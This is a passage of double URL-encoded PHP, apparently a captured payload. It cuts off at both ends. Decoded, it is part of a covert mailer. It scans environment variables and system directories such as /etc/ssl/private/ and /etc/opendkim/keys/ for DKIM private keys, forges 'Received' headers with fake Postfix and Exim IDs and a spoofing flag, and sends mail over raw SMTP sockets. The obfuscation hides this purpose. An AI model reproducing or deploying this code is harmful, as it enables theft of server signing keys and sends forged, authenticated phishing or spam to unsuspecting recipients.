52C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527DKIM_KEY_PATH%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527MAIL_DKIM_KEY%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524env_vars%2520as%2520%2524var%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524env_pk%2520%253D%2520%2540getenv%2528%2524var%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524env_pk%2520%2526%2526%2520strpos%2528%2524env_pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524env_pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524env_pk%2520%2526%2526%2520%2540file_exists%2528%2524env_pk%2529%2520%2526%2526%2520%2540is_readable%2528%2524env_pk%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524env_pk%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524directories%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/ssl/private/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/opendkim/keys/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/lib/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/mail/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/exim4/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/postfix/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/etc/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/home/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/home/mail/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/home/user/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/root/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524directories%2520as%2520%2524dir%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keys%2520%253D%2520%2524this-%253Efind_key_files%2528%2524dir%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524keys%2520as%2520%2524keyPath%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520find_key_files%2528%2524dir%252C%2520%2524pattern%2520%253D%2520%2527/.%252A%2528dkim%257Cprivate%257Cselector%2529.%252A%255C.%2528pem%257Ckey%257Crsa%2529%2524/i%2527%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540is_dir%2528%2524dir%2529%2520%257C%257C%2520%2521%2540is_readable%2528%2524dir%2529%2529%2520return%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524files%2520%253D%2520%2540scandir%2528%2524dir%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524files%2520%253D%253D%253D%2520false%2529%2520return%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524found%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524files%2520as%2520%2524file%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524file%2520%253D%253D%253D%2520%2527.%2527%2520%257C%257C%2520%2524file%2520%253D%253D%253D%2520%2527..%2527%2529%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524path%2520%253D%2520%2524dir%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2524file%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540is_dir%2528%2524path%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found%2520%253D%2520array_merge%2528%2524found%252C%2520%2524this-%253Efind_key_files%2528%2524path%252C%2520%2524pattern%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528preg_match%2528%2524pattern%252C%2520%2524file%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found%255B%255D%2520%253D%2520%2524path%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524found%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520canonicalize_headers_relaxed%2528%2524headers%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524force_add%2520%253D%2520true%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524all_headers%2520%253D%2520explode%2528%2522%255Cn%2522%252C%2520str_replace%2528%2522%255Cr%2522%252C%2520%2522%2522%252C%2520%2524headers%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524needed%2520%253D%2520array%2528%2527from%2527%252C%2520%2527to%2527%252C%2520%2527subject%2527%252C%2520%2527date%2527%252C%2520%2527message-id%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524found%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524all_headers%2520as%2520%2524line%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524line%2520%253D%2520trim%2528%2524line%252C%2520%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524line%2520%253D%253D%253D%2520%2527%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2522%253A%2522%252C%2520%2524line%252C%25202%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524parts%2529%2520%253C%25202%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524name%2520%253D%2520strtolower%2528trim%2528%2524parts%255B0%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524value%2520%253D%2520preg_replace%2528%2527/%255Cs%252B/%2527%252C%2520%2527%2520%2527%252C%2520trim%2528%2524parts%255B1%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned_line%2520%253D%2520%2524name%2520.%2520%2522%253A%2522%2520.%2520%2524value%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2524cleaned_line%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2524name%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found%255B%255D%2520%253D%2520%2524name%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2524name%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524force_add%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527date%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527date%253A%2527%2520.%2520%2524this-%253Eget_header_date%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527date%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527message-id%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527message-id%253A%253C%2527.%2524this-%253Eget_header_message_id%2528%2524domain%2529.%2527%253E%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527message-id%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527from%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527from%253A%2527.%2524from%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527from%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527to%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527to%253A%2527.%2524to%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527to%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sign_headers%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524needed%2520as%2520%2524n%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528in_array%2528%2524n%252C%2520%2524header_map%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sign_headers%255B%255D%2520%253D%2520%2524n%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524canon_list%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524cleaned%2520as%2520%2524cl%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n%2520%253D%2520strtolower%2528substr%2528%2524cl%252C%25200%252C%2520strpos%2528%2524cl%252C%2520%2527%253A%2527%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528in_array%2528%2524n%252C%2520%2524sign_headers%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524canon_list%255B%255D%2520%253D%2520%2524this-%253Erelaxed_header_line%2528%2524cl%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524header_list%2520%253D%2520implode%2528%2522%253A%2522%252C%2520array_map%2528%2527ucfirst%2527%252C%2520%2524sign_headers%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final%2520%253D%2520implode%2528%2522%255Cr%255Cn%2522%252C%2520%2524canon_list%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524final%252C%2520%2524header_list%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520relaxed_header_line%2528%2524line%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2522%253A%2522%252C%2520%2524line%252C%25202%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524name%2520%253D%2520strtolower%2528trim%2528%2524parts%255B0%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524value%2520%253D%2520%2524parts%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524value%2520%253D%2520preg_replace%2528%2527/%255Cs%252B/%2527%252C%2520%2527%2520%2527%252C%2520trim%2528%2524value%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524name%2520.%2520%2527%253A%2527%2520.%2520%2524value%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520canonicalize_body_relaxed%2528%2524body%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%253D%2520str_replace%2528%2522%255Cr%2522%252C%2520%2522%2522%252C%2520%2524body%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524lines%2520%253D%2520explode%2528%2522%255Cn%2522%252C%2520%2524body%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned_lines%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524lines%2520as%2520%2524l%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524l%2520%253D%2520rtrim%2528%2524l%252C%2520%2522%2520%255Ct%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned_lines%255B%255D%2520%253D%2520%2524l%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2520%2528count%2528%2524cleaned_lines%2529%2520%253E%25200%2520%2526%2526%2520trim%2528end%2528%2524cleaned_lines%2529%2529%2520%253D%253D%253D%2520%2527%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520array_pop%2528%2524cleaned_lines%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520implode%2528%2522%255Cr%255Cn%2522%252C%2520%2524cleaned_lines%2529%2520.%2520%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520merge_headers_with_dkim%2528%2524headers%252C%2520%2524dkim_header%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524dkim_header%2520.%2520%2522%255Cr%255Cn%2522%2520.%2520%2524headers%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520build_received_header%2528%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520%2540explode%2528%2527%2540%2527%252C%2520%2524mail_from%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524spoof%2520%253D%2520%2524parts%255B1%255D%2520%2521%253D%2520%2524domain%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524guser%2520%253D%2520%2528function_exists%2528%2522get_current_user%2522%2529%2529%2520%253F%2520%2540get_current_user%2528%2529%2520%253A%2520%2524parts%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524guser%2520%257C%257C%2520in_array%2528%2524guser%252C%2520array%2528%2522root%2522%252C%2522SYSTEM%2522%252C%2522nginx%2522%252C%2522apache%2522%252C%2522www-data%2522%252C%2522httpd%2522%252C%2522www%2522%2529%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524guser%2520%253D%2520%2524parts%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524spoof%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ip%2520%253D%2520%2528%2521empty%2528%2524_SERVER%255B%2522SERVER_ADDR%2522%255D%2529%2529%2520%253F%2520%2524_SERVER%255B%2522SERVER_ADDR%2522%255D%2520%253A%2520%2540gethostbyname%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520else%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ip%2520%253D%2520%2540gethostbyname%2528%2524domain%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ptr%2520%2520%2520%253D%2520%2524this-%253Eget_host_ptr%2528%2524ip%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524ptr%2529%2520%2524ptr%2520%253D%2520%2524parts%255B1%255D%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524h_arr%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2522srand%2522%2529%2520%2526%2526%2520function_exists%2528%2522crc32%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540srand%2528%2540crc32%2528%2524parts%255B1%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524h_arr%255B%255D%2520%253D%2520%2522Received%253A%2520from%2520%2524ptr%2520%2528%2524ptr%2520%255B%2524ip%255D%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509by%2520%2522.%2524parts%255B1%255D.%2522%2520%2528Postfix%2529%2520with%2520ESMTP%2520id%2520%2522.strtoupper%2528%2524this-%253Egenerate_str%252813%2529%2529.%2522%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509for%2520%253C%2524to%253E%253B%2520%2522.%2524this-%253Erfc_date%2528%2529.%2522%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522Received%253A%2520by%2520%2524ptr%2520%2528Postfix%252C%2520from%2520userid%2520%2522.rand%252810%252C99999%2529.%2522%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509id%2520%2522.strtoupper%2528%2524this-%253Egenerate_str%252810%2529%2529.%2522%253B%2520%2522.%2524this-%253Erfc_date%2528%2529.%2522%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524exim%2520%2520%253D%2520%2524this-%253Erandom_exim_version%2528%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524h_arr%255B%255D%2520%253D%2520%2522Received%253A%2520from%2520%2524guser%2520by%2520%2524ptr%2520with%2520local%2520%2528%2524exim%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509%2528envelope-from%2520%253C%2524mail_from%253E%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509id%2520%2522.%2524this-%253Egenerate_str%25286%252C1%2529.%2522-0%2522.%2524this-%253Egenerate_str%25282%252C2%2529.%2524this-%253Egenerate_str%25283%252C1%2529.%2522-%2522.%2524this-%253Egenerate_str%25282%252C1%2529.%2522%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509for%2520%253C%2524to%253E%253B%2520%2522.%2524this-%253Erfc_date%2528%2529.%2522%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524h_arr%255Barray_rand%2528%2524h_arr%2529%255D%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_connect%2528%2524host%252C%2520%2524port%252C%2520%2524enc%252C%2520%2524timeout%2520%253D%252010%252C%2520%2524usesock%2520%253D%2520true%252C%2520%2524usestream%2520%253D%2520true%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host_enc%2520%253D%2520%2528%2524enc%2520%253D%253D%253D%2520%2522ssl%2522%2520%253F%2520%2522ssl%253A//%2522%2520%253A%2520%2522tcp%253A//%2522%2529.%2524host.%2522%253A%2522.%2524port%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%2520%2520%2520%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524eno%2520%2520%2520%2520%2520%2520%253D%25200%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524estr%2520%2520%2520%2520%2520%253D%2520%2522%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524usesock%2520%2526%2526%2520function_exists%2528%2522fsockopen%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2540fsockopen%2528%2524host%252C%2520%2524port%252C%2520%2524eno%252C%2520%2524estr%252C%2520%2524timeout%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524usestream%2520%2526%2526%2520%2521%2524sock%2520%2526%2526%2520function_exists%2528%2522stream_socket_client%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2540stream_socket_client%2528%2524host_enc%252C%2520%2524eno%252C%2520%2524estr%252C%2520%2524timeout%252C%2520STREAM_CLIENT_CONNECT%252C%2520%2524this-%253Econtext%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540stream_set_timeout%2528%2524sock%252C%2520%2524timeout%252C%25200%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524banner%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E220/%2527%252C%2520%2524banner%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524sock%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_helo_and_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524helo%2520%253D%2520%2524this-%253Eformat_smtp_host%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522HELO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524helo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%